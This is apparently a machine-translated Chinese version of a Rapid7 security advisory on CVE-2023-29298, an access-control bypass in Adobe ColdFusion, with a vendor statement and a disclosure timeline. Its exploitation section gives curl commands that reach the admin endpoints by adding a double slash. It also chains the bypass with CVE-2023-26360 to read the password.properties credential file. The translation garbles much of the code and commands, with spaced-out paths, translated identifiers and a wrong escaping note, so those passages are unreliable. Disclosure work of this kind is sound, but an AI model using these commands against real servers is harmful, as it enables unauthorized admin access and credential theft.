最后更新于2023年8月10日星期四20:51:38 GMT

Rapid7发现一个影响Adobe ColdFusion的访问控制绕过漏洞, 在设计用于限制对ColdFusion Administrator的外部访问的产品功能中. Rapid7于4月11日向Adobe报告了此漏洞, 2023年,我们现在按照我们的 漏洞披露策略.

访问控制特性建立了允许访问ColdFusion web服务器上ColdFusion Administrator端点的外部IP地址的允许列表. 当请求来自不存在于允许列表中的外部IP地址时, 对所请求资源的访问被阻止. 这种访问控制是推荐的生产环境配置的一部分, 如产品安装时所述:

“生产配置文件+安全配置文件:将此配置文件用于高度安全的生产部署,这将允许更细粒度的安全环境. 具体操作请参见安全配置文件指南 http://www.adobe.com/go/cf_secureprofile.”

Alternatively, 未配置安全配置文件的安装可以在安装后手动配置访问控制.
该漏洞允许攻击者通过在请求的URL中插入意外的额外正斜杠字符来访问管理端点.

产品描述

Adobe ColdFusion是一个用于web应用程序开发的商业应用程序服务器. ColdFusion支持一种专有的标记语言,用于构建web应用程序和集成到许多外部组件中, 例如数据库和第三方库.

此问题影响以下Adobe ColdFusion版本:

  • Adobe ColdFusion 2023.
  • Adobe ColdFusion 2021更新6及以下版本.
  • Adobe ColdFusion 2018更新16及以下版本.

Impact

的安全保证 ColdFusion安全配置文件. 使用如上所述的访问控制旁路, 攻击者能够访问ColdFusion Administrator路径中的每个CFM和CFC端点 /CFIDE/,其中ColdFusion 2021 Update 6安装中有437个CFM文件和96个CFC文件. Note that access 攻击这些资源并不意味着攻击者是 authorized 要使用这些资源, 其中许多将在执行其操作之前检查授权会话. 但是,能够获得这些资源的影响如下:

  • 攻击者可以登录ColdFusion管理员,如果他们有已知的凭据.
  • 攻击者可能会暴力破解凭证.
  • 攻击者可能泄露敏感信息.

攻击者极大地增加了攻击面,如果在众多暴露的CFM和CFC文件中存在漏洞, 攻击者能够瞄准易受攻击的端点.

Credit

这个漏洞是由Stephen less发现的, Rapid7的首席安全研究员,并根据Rapid7的披露 漏洞披露策略.

供应商声明

CVE-2023-29298已在Adobe的APSB23-40安全公告- CF2018 Update 17中得到解决, CF2021更新7, 和CF2023 GA构建. Adobe非常感谢与更广泛的安全社区的合作以及我们与Rapid7的持续合作. 如需更多资料,请参阅: http://helpx.adobe.com/security/products/coldfusion/apsb23-40.html

Analysis

访问控制限制外部请求访问以下URL路径中的资源:

/restplay
/ CFIDE restplay
/ CFIDE /管理员
/ CFIDE adminapi
/CFIDE/main
/ CFIDE componentutils
/ CFIDE向导
/ CFIDE servermanager

一些Java servlet对其公开的资源实施访问控制:

  • The coldfusion.CfmServlet 处理所有请求ColdFusion模块(CFM)端点.
  • The coldfusion.xml.rpc.CFCServlet 它处理请求ColdFusion标记语言(CFML)和ColdFusion组件(CFC)端点.
  • The coldfusion.rds.RdsGlobals 处理远程开发服务(RDS)功能的请求.

访问控制特性在 coldfusion.filter.IPFilterUtils 类和方法 checkAdminAccess 实现访问控制的逻辑,如下所示:

公共类IPFilterUtils {
private static final String[] PATHS = new String[] {"/restplay", “/ cfide / restplay”, “cfide /管理员”, “/ cfide / adminapi”, "/cfide/main", “/ cfide / componentutils”, “cfide /向导”, " / cfide / servermanager "};
checkAdminAccess(HttpServletRequest)
字符串uri = req.getRequestURI ();
字符串uriToMatch = uri.substring(req.getContextPath ().length()).toLowerCase ();
for(字符串路径:PATHS) {
if (uriToMatch.startsWith(路径)){
字符串ip = req.getRemoteAddr ();
if (!isAllowedIP (ip))
抛出新的AdminAccessdeniedException.getSecurityService ().getAllowedAdminIPList()、ip);
break;
}
}
}

我们可以从上面突出显示的语句中观察到,将HTTP请求的URL路径与敏感路径列表进行比较, 如果从这些敏感的路径开始, 执行进一步检查以查看请求的外部IP地址是否存在于允许列表中. 如果对敏感路径的请求不是来自允许的外部IP地址, 引发一个异常,导致请求被拒绝.

调用来测试攻击者控制的URL路径 java.lang.String.startsWith, 这种访问检查可以通过在URL路径的开头插入一个额外的字符来绕过, 这会导致 startsWith 检查失败,但仍然允许底层servlet能够解析所请求的资源. 所讨论的字符是一个额外的正斜杠. 例如,当请求以敏感开头的资源时 / CFIDE adminapi 路径,攻击者可以从该路径请求此资源 / / CFIDE / adminapi,它将绕过访问控制,同时仍然是所请求资源的有效路径.

Exploitation

以下是在Adobe ColdFusion 2021 Update 6(2021 .)上进行的测试.0.06.330132)在Windows Server 2022上运行,并配置了生产和安全配置文件,并且对ColdFusion管理员的访问仅限于本地主机地址127.0.0.1.

我们可以使用cURL命令演示该漏洞. 对象上执行远程方法调用时 / CFIDE向导/共同/跑龙套.cfc 端点,可以使用以下cURL命令:

注:与符号(&)已经用插入符号(^)转义,因为这个例子是从Windows运行的. 在Linux上,必须用正斜杠()转义与符号。.

\> curl -v -k http://172.23.10.174:8500 / CFIDE向导/共同/跑龙套.cfc?方法= wizardHash ^&inPassword = foo

我们可以在下面的屏幕截图中看到,由于访问控制到位,此请求失败:

但是,如果我们发出以下cURL命令,注意路径中的双斜杠:

c:\> curl -v -k http://172.23.10.174:8500 / / CFIDE /术士/共同/跑龙套.cfc?方法= wizardHash ^&inPassword = foo

我们可以看到访问控制已被绕过,请求已成功完成.

Similarly, 如果我们试图从不允许访问的外部IP访问web浏览器中的ColdFusion Administrator界面, 系统显示如下错误.

However, 如果我们在URL中使用一个额外的斜杠, 我们现在可以访问ColdFusion管理员界面.

链接CVE-2023-29298到CVE-2023-26360

CVE-2023-29298中的访问控制旁路也可以用来帮助利用现有的ColdFusion漏洞. 其中一个例子是 CVE-2023-26360,它既允许任意文件读取,也允许远程代码执行. 为了利用CVE-2023-26360读取任意文件, 攻击者必须请求目标上的有效CFC端点. 正如我们所看到的,ColdFusion Administrator中有多个这样的端点可用. 利用CVE-2023-26360读取文件 password.properties 可以通过以下cURL命令实现:

c:> curl -v -k http://172.26.181.162:8500 / CFIDE向导/共同/跑龙套.cfc?方法= wizardHash ^&inPassword = foo ^&_cfclient = true ^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded"——data "_variables={\"about\":{\"_metadata\":{\"classname\":\"..\ \ lib \ \密码.}属性\”,\“_variables \ ": {}}}

However, 如果访问控制配置为阻止对ColdFusion Administrator的外部请求, 请求将失败.

因此,我们可以将CVE-2023-29298链接到CVE-2023-26360,绕过访问控制,通过以下方式到达CFC端点并触发漏洞:

c:> curl -v -k http://172.26.181.162:8500 / / CFIDE /术士/共同/跑龙套.cfc?方法= wizardHash ^&inPassword = foo ^&_cfclient = true ^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded"——data "_variables={\"about\":{\"_metadata\":{\"classname\":\"..\ \ lib \ \密码.}属性\”,\“_variables \ ": {}}}

As we can see, 我们现在已经成功地利用了CVE-2023-26360,因为我们能够使用CVE-2023-29298作为原语-因此我们可以读取 password.properties file.

Remediation

Adobe于2023年7月11日发布了此漏洞的修复程序. 根据Adobe的说法,以下版本可以修复此问题:

  • ColdFusion 2023 GA版本
  • ColdFusion 2021更新
  • ColdFusion 2018更新

欲了解更多详情,请阅读 Adobe安全咨询.

Note: Rapid7在6月30日向Adobe报告了此问题的不完整修复, 2023年测试供应商提供的补丁后. 我们还没有独立测试最新补丁.

Rapid7客户

InsightVM和expose客户可以使用7月11日产品发布的漏洞检查来评估他们对CVE-2023-29298的暴露程度, 其中也包含七月补丁星期二的内容.

Timeline

  • 2023年4月11日: Rapid7与Adobe产品安全事件响应团队(PSIRT)进行初步联系.
  • 2023年4月12日: Rapid7向Adobe PSIRT披露了漏洞细节. Adobe确认收到并分配内部跟踪号码VULN-24594.
  • 2023年4月20日: Adobe要求提供有关测试期间使用的网络设置的更多详细信息. Rapid7提供请求的详细信息,Adobe确认收到这些详细信息.
  • 2023年4月25日: Rapid7请求状态更新. Adobe证实他们已经复制了这个问题. Rapid7向Adobe请求CVE标识符.
  • 2023年5月2日- 5月24日: Rapid7和Adobe讨论了一个协调的披露日期,并同意在7月11日发布建议, 2023. Adobe分配CVE-2023-29298.
  • 2023年6月13日- 6月30日 Further coordination with Adobe; Adobe provides Rapid7 with the patch for the issue.
  • June 30, 2023: Rapid7通知Adobe,他们已经实现的补丁是不完整的,可以绕过.
  • 2023年7月6日至7日: Adobe告诉Rapid7,他们已经实施了一个改进的修复程序,并且有信心可以缓解这个问题. Rapid7无法及时分配研究人员来测试新的修复程序. Rapid7和Adobe同意在7月11日进行披露,因为Adobe对他们的修复很有信心.
  • 2023年7月11日: 这种披露.